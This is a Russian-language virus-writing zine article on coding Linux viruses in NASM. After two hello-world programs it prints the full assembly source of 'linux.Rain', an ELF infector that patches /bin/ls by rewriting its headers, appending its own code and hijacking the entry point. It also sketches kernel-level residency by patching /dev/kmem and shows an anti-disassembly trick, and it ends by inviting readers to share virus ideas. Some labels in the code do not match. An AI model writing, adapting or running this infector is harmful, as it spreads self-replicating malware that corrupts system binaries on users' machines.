Linux Вирусы II - 2:10 - by Ultras
 
   В  предыдущей  статье  в журнале DVL#10 я опубликовал статью про linux
это  ее вторая часть. В этой статье я привуду маленький пример вируса под
linux и описания всякой теорий.

Итак вирусы под платформу Linux
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   После  написания всякой мелкой тулзы под linux я понял что лучше всего
использовать синитаксис NASM он более удобнее.

 Стандартная программа для навичков. HeLL0 W0rld!!!

 BITS   32                           ; программа 32 битная
 GLOBAL main                         ; обьявим начало программы

 SECTION .text                       ; секция текста

main:                                ; начало проги
 mov eax,04h                         ; функция sys_write
 mov ebx,01h                         ; stdout хендле
 lea ecx,[message]                   ; текст сообщения
 mov edx,message_end-message         ; размер текста программы
 int 80h                             ; запустим функцию с параметрами

 mov eax,1                           ; выходим из проги
 int 80h

 SECTION .data

message:
 db 'Hello TopDevice!!!',10,13,0     ; текст сообщения
message_end:

   Так же можно написать такую программу но без использованния прерывания
int80.

 GLOBAL main                         ; обьявим начало программы
 extern puts                         ; используем функцию puts

 SECTION .text                       ; секция текста

main:
 push dword msg                      ; поместим сообщение
 call puts                           ; покажем сообщения с помощью функций puts
 add esp,4
 ret                                 ; выходим

 SECTION .data
message:
 db "Hello TopDevice!!!",0           ; текст сообщения

   Это  программа  копия выше показанной программы только использованнием
функций libc.

   Как  видете,  писать  программы  на  nasm довольно легко это асм более
похож на tasm синтаксис.

Вирусы для Linux
~~~~~~~~~~~~~~~~

   Итак  простеиший  вирус  для  Linux. Вирус заражает только один файл в
системе linux, файл под названием ls.

;
; linux.Rain
; ~~~~~~~~~~
;
; Компилируем:
; nasm -f elf rain.asm
; gcc rain.o -o rain
; :)
; ./rain
;
;

GLOBAL main             ; обьявим начало программы

SECTION .text

hoste:
ret

main:
 pusha                  ; сохраним все рег.
 call .getdelta
.getdelta:              ; получим delta offset
 pop ebp
 sub ebp,getdelta
 push byte 125
 pop eax                ; модифичируем mprotect
 lea ebx,[ebp+main]     ; для дальнеишей работы
 and ebx,0xfffff000
 mov ecx,03000h
 mov edx,07h
 int 80h

.infect:
 push byte 5            ; откроем файл
 pop eax
 lea ebx,[ebp+ls]       ; /bin/ls :)
 mov ecx,02
 int 80h
 mov ebx,eax            ;сохраним имя в ebx

 push byte 19           ;функция lseek
 pop eax
 xor ecx,ecx
 xor edx,edx
 int 80h

 push byte 3            ;функция чтения
 pop eax
 lea ecx,[ebp+elfheader]   ;читаем elf хедер
 mov edx,24h
 int 80h

 cmp word [ebp+elfheader+8],0xDEAD   ;проверим заражен файл?
 jne infectar                         ;нет, надо заразить
 jmp quit
                        ; зараженние начинается тут

.infectar:
 mov word [ebp+elfheader+8],0xDEAD
 mov ecx,[ebp+e_phoff]
 add ecx,8*4*3
 push byte 19           ;функция lseek
 pop eax
 push ecx
 xor edx,edx
 int 80h
 push byte 3            ;функция чтения
 pop eax
 lea ecx,[ebp+progheader]
 mov edx,8*4
 int 80h
 add dword [ebp+p_filez],0x2000
 add dword [ebp+p_memez],0x2000
 push byte 19           ;функуция lseek
 pop eax
 pop ecx
 xor edx,edx
 int 80h
 push byte 4            ; функция записи
 pop eax                ; корректируем program header
 lea ecx,[ebp+progheader]
 mov edx,8*4
 int 80h
 push byte 19           ;функуция lseek
 pop eax
 xor ecx,ecx
 mov edx,02h
 int 80h

 mov ecx,dword [ebp+oldentry]
 mov dword [ebp+temp],ecx
 mov ecx,dword [ebp+e_entry]
 mov dword [ebp+oldentry],ecx

 sub eax,dword [ebp+p_offset]
 add dword [ebp+p_vaddr],eax
 mov eax,dword [ebp+p_vaddr]      ;поставим новый entrypoint
 mov dword [ebp+e_entry],eax

 push byte 4           ; функция записи
 pop eax
 lea ecx,[ebp+main]    ; запишем вирус
 mov edx,virend-main
 int 80h

 push byte 19           ;функуция lseek
 pop eax
 xor ecx,ecx
 xor edx,edx
 int 80h

 push byte 4
 pop eax
 lea ecx,[ebp+elfheader]
 mov edx,24h
 int 80h
                                  ;con el nuevo entrypoint
 mov ecx,dword [ebp+temp]
 mov dword [ebp+oldentry],ecx

.quit:
 push byte 6             ; функция закрытия файла
 pop eax
 int 80h
 popa                    ; востановим рег.
 db 068h                 ; опкод push`а
oldentry dd  hoste
 ret

dir          dd main
             dw 010h
binls        db '/bin/ls',0 ; то что мы будим заражать
datos        db 0h
temp         dd 0h
newentry     db 00h,00h,00h,00h
newfentry    db 00h,00h,00h,00h
viraladdr    db 00h,00h,00h,00h

elfheader:
e_ident:     db 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h
e_type:      db 00h,00h
e_machine:   db 00h,00h
e_version:   db 00h,00h,00h,00h
e_entry:     db 00h,00h,00h,00h
e_phoff:     db 00h,00h,00h,00h
e_shoff:     db 00h,00h,00h,00h
e_flags:     db 00h,00h,00h,00h
e_ehsize:    db 00h,00h
e_phentsize: db 00h,00h
e_phnum:     db 00h,00h
e_shentsize: db 00h,00h
e_shnum:     db 00h,00h
e_shstrndx:  db 00h,00h
jur:         db 00h,00h,00h,00h

progheader:
p_type       db 00h,00h,00h,00h
p_offset     db 00h,00h,00h,00h
p_vaddr      db 00h,00h,00h,00h
p_paddr      db 00h,00h,00h,00h
p_filez      db 00h,00h,00h,00h
p_memez      db 00h,00h,00h,00h
p_flags      db 00h,00h,00h,00h
p_align      db 00h,00h,00h,00h

secentry:
sh_name      db 00h,00h,00h,00h
sh_type      db 01h,00h,00h,00h
sh_flags     db 03h,00h,00h,00h
sh_addr      db 00h,00h,00h,00h
sh_offset    db 00h,00h,00h,00h
sh_size      dd (virend-main)*2
sh_link      db 00h,00h,00h,00h
sh_info      db 00h,00h,00h,00h
sh_addralign db 01h,00h,00h,00h
sh_entsize   db 00h,00h,00h,00h


virend:


   Теперь  функций  которые  использовались  в  вирусе.  Простите  что на
иностраном.

  mprotect  125
  ~~~~~~~~~~~~~
parameterz:
  cont void *addr
  size_t len
  int prot
info:
  control access to a region of memory
return:
  -/-
errors:
  acces, fault, inval, nomem
ref:
  sys/mman.h


  read 3
  ~~~~~~
  int fd
  void *buf
  size_t count
info:
  read up to count bytes from file fd into buffer *buf
return:
  no. of bytes received, file pointer advanced accordingly
errors:
  EAGAIN, EBADF, EFAULT, EINTR, EINVAL, EIO, EISDIR


  write 4
  ~~~~~~~
  int fd
  void *buf
  size_t count
info:
  write (up to) count bytes of data from *buf to file fd
return:
  no. of sent bytes (if POSIX conforming f.s.)
errors:
  EAGAIN, EBADF, EFAULT, EINTR, EINVAL, EIO, ENOSPC, EPIPE


  open 5
  ~~~~~~
  const char *pathname
  int flags
  mode_t mode
info:
   open  a  file  or device, create file if not present and corresponding
   mode flag set
return:
  int fd filedescriptor
errors:
  EACCESS, EEXIST, EFAULT, EISDIR, ELOOP, EMFILE,
  ENAMETOOLONG, ENFILE, ENOENT, ENODEV, ENODIR,
  ENOMEM, ENOSPC, ENXIO, EROFS, ETXTBSY
ref:
  sys/types.h, sys/stat.h, fcntl.h


  close 6
  ~~~~~~~
  int fd
info:
  close a file by fd reference
return:
  -/-
errors:
  EBADF (-1)


  lseek 19
  ~~~~~~~~
  int fd
  off_t offset
  int whence
info:
  change posn. ptr of filedescriptor
return:
  off_t ptr posn. re beginning of file
errors:
  badf, inval, ispipe
ref:
  sys/types.h, unistd.h


Резиденты для Linux
~~~~~~~~~~~~~~~~~~~
Немного о том что я так и не понял в linux.
   Многие  знают  что  в  Windoze95/98  существуют Ring0/Ring3, так вот в
linux они тоже присудствуют. Я не очень разбирался с переходом в 0 кольцо
но  знаю,  что это можно сделать пропатчив файлы /dev/kmem или /dev/mem и
мы  будим в ring0. Патчит он очень интересно ищет (как я понял) свободное
место  в  середине  файла  и если оно найдено записывает себя туда. Потом
перехватывал  некоторые системные вызовы и заражал файлы. Так делал вирус
Linux.Staog   by  Quantum/VLAD.  По  идеи  вирус  очень  похож  на  вирус
Win95.Harry  того  же  автора  только  для  Windoze.  Вирус Staog уже мне
кажется  устарел он был написал 3-4 года назад, вирус давольно интересный
советую  его посмотреть. Так же можно стать на время резидентом (ring3) с
помощью  mprotect  функций  и  записывания  в  plt  & got секцию, как это
сделать я еще не разобрался.

   Если  кто  то  знает  более  современны  способы  перехода в ring0 и о
резидентности буду рад если вы расскажите как это сделать.

Anti-Disassembly
~~~~~~~~~~~~~~~~

   Немного  о том как помещать дизассемблировать ваш вирус. Ниже описаные
команды  мешают дизассемблиру нормально продизасмить вирус, он нарывается
на эти команды а потом что то с ним происходит:)



        jmp antidebug1 + 2
antidebug1:
.short 0xc606
        call reloc
reloc:
        popl %esi
        jmp antidebug2
antidebug2:
        addl $(data - reloc),%esi
        movl 0(%esi),%edi
        pushl %esi
        jmp *%edi
data:
        .long 0


дизассм:
~~~~~~~~

.
.
.

 8048340:       55              pushl  %ebp
 8048341:       89 e5           movl   %esp,%ebp
 8048343:       eb 02           jmp    0x8048347
 8048345:       06              pushl  %es
 8048346:       c6 e8 00        movb   $0x0,%al
 8048349:       00 00           addb   %al,(%eax)
 804834b:       00 5e eb        addb   %bl,0xffffffeb(%esi)
 804834e:       00 81 c6 0f 00  addb   %al,0xfc6(%ecx)
 8048353:       00
 8048354:       00 8b 7e 00 56  addb   %cl,0xff56007e(%ebx)
 8048359:       ff
 804835a:       e7 00           outl   %eax,$0x0
 804835c:       00 00           addb   %al,(%eax)
 804835e:       00 89 ec 5d c3  addb   %cl,0x90c35dec(%ecx)
 8048363:       90
 8048364:       90              nop

(с) Silvio Cesare


The End
~~~~~~~

   Я  очень  буду  рад  если  кто то поделиться своими идеями в написаний
вирусов под Linux.

e-mail: [email protected]
url: www.matrixvx.org

ULTRAS[MATRiX]

Вечно молодой, Вечно пьяный